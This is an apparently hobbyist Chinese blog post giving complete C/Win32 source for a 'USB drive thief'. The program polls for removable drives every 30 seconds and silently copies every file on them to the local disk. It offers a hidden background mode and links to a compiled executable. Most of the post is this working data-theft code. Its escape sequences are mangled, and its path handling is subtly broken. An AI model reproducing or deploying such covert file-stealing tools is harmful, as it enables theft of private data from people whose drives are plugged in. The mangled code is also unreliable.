看某期《黑客防線》上有介紹編寫“U盤小偷”這個盜取U盤內所有文件的程序的文章,反正也沒事做,自己也寫了一個。文中是用VC++加MFC寫的,我用C、API來寫,而且名字叫“U盤大盜”,不然怎麼會叫DIY呢^_^
原理很簡單,就是每隔一段時間探測驅動器,發現可移動盤就把裏面的內容copy到機器上。幾下子就搞定。代碼如下,有關函數的可參考MSDN、CSDN搜索(還多虧了它呢)。
#include "windows.h"
#include "stdio.h"
#include "string.h"
#include "direct.h"
char dir[260];
/*
看好啦,偷東西咯~
*/
void Copy( char* FileName )
{
char dir2[260];
strcpy( dir2 , dir );
//從全路徑提取出文件名
char* temp = strchr(FileName,'//');
temp++;
strcat(dir2 , temp );
CopyFile( FileName , dir2 , 1 );
}
void CreateDir( char * path )
{
char temp2[260];strcpy( temp2 , dir );
char* temp = strchr( path , '//');
temp++;
strcat(temp2 , temp );
mkdir( temp2 );
}
/*
這個函數就是遍歷目錄得到文件
*/
void GetFile( char* FilePath )
{
char temp[260],temp1[260];
strcpy( temp ,FilePath );
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
strcat( temp , "*");
//printf("%s",temp);
hFind = FindFirstFile( temp , &FindFileData );
//printf("%s/n",FindFileData.cFileName );
if ( hFind == INVALID_HANDLE_VALUE )
{
//printf ("Invalid File Handle. GetLastError reports %d/n", GetLastError ());
//exit(0);
}
else
{
//printf("%s",temp1);
do
{
strcpy( temp1 , FilePath );
strcat( temp1 , FindFileData.cFileName );
if(strcmp( FindFileData.cFileName , "." )!=0&&strcmp( FindFileData.cFileName , ".." )!=0)
{
if( FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY )
{
strcat( temp1 , "//" );
CreateDir( temp1 );
GetFile( temp1 );
}
else
{
//printf("%s/n",temp1 );
Copy( temp1 );
}
}
}while( FindNextFile( hFind,&FindFileData ) );
}
FindClose(hFind);
}
/*
這個函數檢測是否爲可移動磁盤
*/
int CheckDisk(char *disk)
{
if(GetDriveType(disk)==DRIVE_REMOVABLE)return 0;
return -1;
}
int Steal()
{
char buf[10];
DWORD lod=GetLogicalDrives();
/*
GetLogicalDrives 返回的是一個32位整數,將他轉換成二進制後,最高位表示驅動器A: 依次類推
比如,10111000000000000000000000000000
表示這臺機器有驅動器 a,c,d,e
*/
if (lod!=0)
{
for (int i=0;i<26;i++)
{
if ((lod & 1)==1)
{
sprintf(buf,"%c",'A'+i);
strcat(buf,"://");
if(!CheckDisk(buf))
{
//現在判斷驅動是否準備就緒~
if(GetVolumeInformation(buf,0,0,0,0,0,0,0))
{
GetFile(buf);//!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
//GetFile("j://a//");
}
}
}
lod=lod>>1;
}
}
return 0;
}
int main(int argc, char* argv[])
{
SYSTEMTIME st;
char dtime[20],temp[10];
GetLocalTime( &st );
itoa( st.wYear ,temp , 10 );
strcpy( dtime , temp );
itoa( st.wMonth ,temp , 10 );
strcat( dtime , temp );
itoa( st.wDay ,temp , 10 );
strcat( dtime , temp );
mkdir( dtime );
getcwd( dir , 260 );
strcat( dir , "//");
strcat( dir , dtime );
strcat( dir , "//" );
if(argc!=2)
{
printf("/n Flash-Thief 1.0 by lake2 ( http://lake2.126.com ) /n");
printf("Date: /t2005-5-28/n");
printf("You can quit this program with Ctrl + C /nand you can run it in hide mode with /'-hide/' /n");
printf("It's nothing with me whatever you do ! /n");
printf("Running......./n");
while(1)
{
Steal();
Sleep(30000);
}
}
else
{
if(strcmp( argv[1] , "-hide" )==0){printf("It's nothing with me whatever you do ! /n");ShellExecute( 0, "open", argv[0], NULL, NULL, SW_HIDE );}
else
printf("Parameter %s is invalid",argv[1]);
}
return 0;
}
程序是命令行下的,加參數“-hide”可以後臺運行;運行後會在當前目錄生成當前日期的文件夾,盜取的東東都放在裏面。程序有個小問題,就是當可移動設備是個移動硬盤的時候,呵呵,恐怕你的硬盤要很大才行哦。這個問題不想改了。
VS.net + XP SP1 編譯通過,編譯好的程序這裏可以下http://www.0x54.org/lake2/program/flash-thief.exe
程序做好到現在我都沒有拿來用,其實我是一個好人^_^